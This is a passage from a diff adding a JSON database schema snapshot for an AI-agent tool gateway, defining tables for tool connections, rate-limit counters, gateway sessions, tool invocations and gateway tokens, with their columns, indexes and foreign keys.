+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_connections_company_idx": {
+          "name": "tool_connections_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_application_idx": {
+          "name": "tool_connections_application_idx",
+          "columns": [
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_company_enabled_idx": {
+          "name": "tool_connections_company_enabled_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "enabled",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connections_company_uid_uq": {
+          "name": "tool_connections_company_uid_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "uid",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_connections_company_id_companies_id_fk": {
+          "name": "tool_connections_company_id_companies_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connections_application_id_tool_applications_id_fk": {
+          "name": "tool_connections_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "tool_connections_created_by_agent_id_agents_id_fk": {
+          "name": "tool_connections_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_connections",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "tool_connections_company_id_uq": {
+          "name": "tool_connections_company_id_uq",
+          "nullsNotDistinct": false,
+          "columns": [
+            "company_id",
+            "id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {
+        "tool_connections_ownership_check": {
+          "name": "tool_connections_ownership_check",
+          "value": "\"tool_connections\".\"ownership\" in ('platform_shared', 'platform_provisioned', 'customer', 'dcr')"
+        },
+        "tool_connections_transport_check": {
+          "name": "tool_connections_transport_check",
+          "value": "\"tool_connections\".\"transport\" in ('mcp_remote', 'rest_api', 'local_stdio')"
+        },
+        "tool_connections_auth_kind_check": {
+          "name": "tool_connections_auth_kind_check",
+          "value": "\"tool_connections\".\"auth_kind\" in ('oauth', 'api_key', 'none')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.tool_gateway_rate_limit_counters": {
+      "name": "tool_gateway_rate_limit_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "counter_key": {
+          "name": "counter_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start_at": {
+          "name": "window_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_ms": {
+          "name": "window_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "limit": {
+          "name": "limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "count": {
+          "name": "count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "reset_at": {
+          "name": "reset_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_gateway_rate_limit_counters_company_idx": {
+          "name": "tool_gateway_rate_limit_counters_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_rate_limit_counters_window_uq": {
+          "name": "tool_gateway_rate_limit_counters_window_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "counter_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_gateway_rate_limit_counters_company_id_companies_id_fk": {
+          "name": "tool_gateway_rate_limit_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_gateway_rate_limit_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_gateway_sessions": {
+      "name": "tool_gateway_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_gateway_sessions_token_hash_uq": {
+          "name": "tool_gateway_sessions_token_hash_uq",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_company_agent_idx": {
+          "name": "tool_gateway_sessions_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_company_expires_idx": {
+          "name": "tool_gateway_sessions_company_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_run_idx": {
+          "name": "tool_gateway_sessions_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_issue_idx": {
+          "name": "tool_gateway_sessions_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_gateway_idx": {
+          "name": "tool_gateway_sessions_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_gateway_sessions_company_id_companies_id_fk": {
+          "name": "tool_gateway_sessions_company_id_companies_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_agent_id_agents_id_fk": {
+          "name": "tool_gateway_sessions_agent_id_agents_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_gateway_sessions_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_issue_id_issues_id_fk": {
+          "name": "tool_gateway_sessions_issue_id_issues_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_project_id_projects_id_fk": {
+          "name": "tool_gateway_sessions_project_id_projects_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_gateway_sessions_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_gateway_sessions_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_invocations": {
+      "name": "tool_invocations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_version_hash": {
+          "name": "catalog_version_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_schema_hash": {
+          "name": "catalog_schema_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_type": {
+          "name": "provider_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_key": {
+          "name": "application_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "upstream_tool_name": {
+          "name": "upstream_tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "arguments_hash": {
+          "name": "arguments_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "arguments_summary": {
+          "name": "arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_decision": {
+          "name": "policy_decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_policy_ids": {
+          "name": "matched_policy_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "policy_explanation": {
+          "name": "policy_explanation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_summary": {
+          "name": "credential_scope_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "header_policy_summary": {
+          "name": "header_policy_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_state": {
+          "name": "approval_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'not_required'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "upstream_request_id": {
+          "name": "upstream_request_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_hash": {
+          "name": "result_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_summary": {
+          "name": "result_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_size_bytes": {
+          "name": "result_size_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_artifact_id": {
+          "name": "result_artifact_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_invocations_company_created_idx": {
+          "name": "tool_invocations_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_run_idx": {
+          "name": "tool_invocations_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_issue_idx": {
+          "name": "tool_invocations_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_gateway_idx": {
+          "name": "tool_invocations_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_company_idempotency_uq": {
+          "name": "tool_invocations_company_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_invocations_company_id_companies_id_fk": {
+          "name": "tool_invocations_company_id_companies_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_agent_id_agents_id_fk": {
+          "name": "tool_invocations_agent_id_agents_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_issue_id_issues_id_fk": {
+          "name": "tool_invocations_issue_id_issues_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_invocations_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_invocations_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_invocations_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_application_id_tool_applications_id_fk": {
+          "name": "tool_invocations_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_connection_id_tool_connections_id_fk": {
+          "name": "tool_invocations_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_invocations_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_mcp_gateway_tokens": {
+      "name": "tool_mcp_gateway_tokens",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token_prefix": {
+          "name": "token_prefix",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "subject_type": {
+          "name": "subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gateway_client'"
+        },
+        "subject_id": {
+          "name": "subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_label": {
+          "name": "client_label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "owner_note": {
+          "name": "owner_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "allowed_actions": {
+          "name": "allowed_actions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[\"tools/list\",\"tools/call\"]'::jsonb"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_reason": {
+          "name": "expiry_override_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_by_user_id": {
+          "name": "expiry_override_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_by_agent_id": {
+          "name": "expiry_override_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_at": {
+          "name": "expiry_override_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_mcp_gateway_tokens_token_hash_uq": {
+          "name": "tool_mcp_gateway_tokens_token_hash_uq",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_gateway_idx": {
+          "name": "tool_mcp_gateway_tokens_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_subject_idx": {
+          "name": "tool_mcp_gateway_tokens_subject_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_company_expires_idx": {
+          "name": "tool_mcp_gateway_tokens_company_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
